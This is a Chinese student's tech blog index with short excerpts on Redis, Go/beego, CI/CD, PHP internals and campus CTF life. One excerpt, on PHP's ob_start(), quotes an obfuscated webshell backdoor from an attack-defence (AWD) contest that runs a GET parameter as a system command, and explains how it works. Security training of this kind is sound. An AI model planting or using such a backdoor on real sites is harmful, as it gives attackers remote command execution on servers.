《Redis 深度历险》读书笔记

想学就学,哪要那么多理由 其实很早以前就有看 Redis 的计划,当时是因为对非关系型数据库感兴趣。但又觉得暂时没啥能用的到 Redis 地方。 这学期想明白了:知识反正学到了,就是自己的。哪管它目前用不用的上。 9 月 9 日到学校图书馆借了本《Redis 深度历险》,今天刚好一个月看完。除了第五章关于 Redis 的底层源码我目前还看得挺懵逼的,别的章节确实让我学了不少东西! 因此强烈安利各位

Light Cube 四周年快乐!!

时间过得真快。 一转眼就是大二了。我还记得去年是在军训完的那个国庆假期,也是在宿舍里敲的三周年的文字。和去年的国庆假期一样,今年也是宅在宿舍里。不过好在今年偶尔会去协会摸鱼。 SAO Alicization 下半篇要开始放送了,Light Cube 也已经四周年了呀~ 前些日子在 Twitter 上看到这么一条推文: 虽然没她一样强到用 C++ 去写服务端,不过确实是从搭建这个站点开始,我因此陆陆

最后的一只章鱼猫 —— GitHub Actions 实现编译打包 Golang 到 Docker 镜像

这阵子还挺忙的,上周二飞天津参加第五空间线下赛,回来后周五又是助手那边的面试,周六又是省赛线下赛,这星期又是协会这边的面试。 忙里偷闲抽了点时间继续在看 Redis,目前已经看到原理篇了,了解到了不少有意思的算法与实现原理,整本书看完后会写点东西总结一下。近期助手的 GitHub 教师认证通过了,并开通了团队的一堆福利。考虑到 GitHub 这边的工单系统更加完善,因而逐渐开始从自建 Gitea

Apicon 背后都用到的哪些技术?

Apicon 的来源 大概是高二的时候,因为 WordPress 的关系,我接触到了 Web API。进而了解到了 Ajax、RESTful 等概念。当时百度有一个 API Store,上面收录了大大小小各种各样的 API。从天气查询到语音识别,免费并配有详细文档以及不同语言的使用示例。 当时这对我来说真的是个宝库。与此同时,我在 GitHub 上也找到了个人整理的 QQ 音乐、网易云音乐、bil

阿里云函数计算 + Aglio 实现 API Blueprint markdown 渲染

这几天事一直很多,肝了几天终于完成的差不多了。这才有时间去写 Apicon。 这次想聊聊 Apicon 里的一个核心的功能——API 文档的编辑与展示。我最初的想法是,像助手一样按照一定的格式,使用 Markdown 来编写文档。但是这样在格式上难免不好统一。跟副主席聊的时候,他向我推荐了 Swagger 和 API Blueprint。这两个都是 API 文档自动生成工具。对比过后,我决定选择

『自闭 PHP 内核』 vol1. 来写一个 PHP 扩展吧~

之前学 C 语言的目标,就是想有一天能去看 PHP 的底层源码。一直对 PHP 挺惊讶的,她是一个很容易上手的语言,但是却是使用 C 语言编写的。C 语言原生能实现的功能,所含的库就不多语法残废,又十分地接近系统底层;很难想象像 PHP 这么一个语法宽松随便的语言,是怎样用 C 实现的。 之前在协会分享会时,Hammer 学长曾带着我们去看了 PHP 源码中关于弱类型比较的部分,还用 gdb 一步

总结一下最近 beego 开发遇到的坑

最近一直在写 Apicon 的主站,目前虽然还有很多功能没有写完,不过先配好了 Drone 直接上线了。 因为我的前端实在是太菜了,Vue 写到后面暴露出了很多问题;索性就放弃了之前定下的前后端分离,直接用 beego 开始写 MVC 了。 推翻之前所做的,确实需要一定勇气。不过就目前的情况看来,我还是挺满意这个决定的。 期间遇到了不少问题以及坑,这里总结一下吧。 自定义错误页 自定义诸如 404

暑假开始了啊……

然而并不是什么好的开端 暑假开始了呀。明天早上 10 点的车回去。 已经迫不及待地想见到爸妈了。 又是两个月的长假,去年寒假因为期末线代挂了,看了整整一个寒假的线代,最后补考还好过了。 很可惜,这学期又挂科了。又得在假期准备开学的补考。 嘛,心里很不是滋味啊。 不是想去怪谁或为自己争辩些什么,都十九岁的人了,再一直纠结这些有的没的未免有些不合适了。 既然已成事实,还是得自己去弥补啊。之前看了部挺致

聊聊 PHP ob_start() 在开发中的应用

先从安全聊起 上周六协会 AWD,其中的 web1 中,有一个ob_start()的后门,具体代码是这样的: @ob_start(base64_decode(‘c3lzdGVt’)); echo “$_GET[persistent]”; @ob_end_flush(); 参照 PHP 的文档,我们其实可以知道这个后门的原理。 c3lzdGVt这一段,base64_decode出来的即为system

Vidar-Team 内部 AWD 线下赛总结

今天六一,协会举办了大一第一次线下 AWD。 很开心最后我们组能获得第一。虽然上午被疯狂 Check Down 到自闭,但下午全靠 Moesang 大佬弹了四五个 Shell 疯狂cat /flag,同时 Y 也把 Pwn 给修好了。一下午就没怎么 Down 过,除了我中途修坏了一道 web 才 Down 了一轮。(是我太菜拖大家后腿了嘤嘤嘤 这也是我第一次打 AWD 啊。 这几天都在给 Lian

拉取、编译、部署,无人机升空!

编译型语言,就需要自动部署 我记得上学期刚注册助手 Gita 时,我还打趣地问过部长,助手什么时候上 CI / CD? 当时部长说快了,这学期就上。 现在助手可以说每个项目完成后,都会使用 Drone 实现持续交付 / 持续集成。 对于前端来说,因为助手主要是用 Vue 做单页应用,推送代码到 Gitea 上后,Drone 会使用 Vue CLI 对项目进行编译,之后将编译好的前端静态文件放进一个

从一个项目看 beego 的 MVC

bilibili 干杯!🍻 最近 b 站源码泄露的事情闹得沸沸扬扬的,每天都有不同的瓜。昨天 GitHub 放出了 b 站写的 DMCA takedown 邮件。今天大家就在吐槽 b 站的小学级别英语了。 嘛,撇开这些事情不谈,b 站这次的源码泄露,确实让很多人开始注意到了 Golang 这门语言。一时间不少人嚷嚷着说要开始学习 Golang,就从 b 站源码入手什么的。 玩笑归玩笑,但 Gola

《高性能 PHP7》笔记

类型声明 PHP 作为一个弱类型的语言,加入类型声明,真是一件大好事啊!这样确实能够减少很多 bug 的产生,今后也要试着养成写类型声明的习惯。 形参类型声明 function foo(int $num){ echo($num); } // foo(123); -> 123 // foo(‘123’); -> 123 // foo(‘asd’); -> PHP Warning 这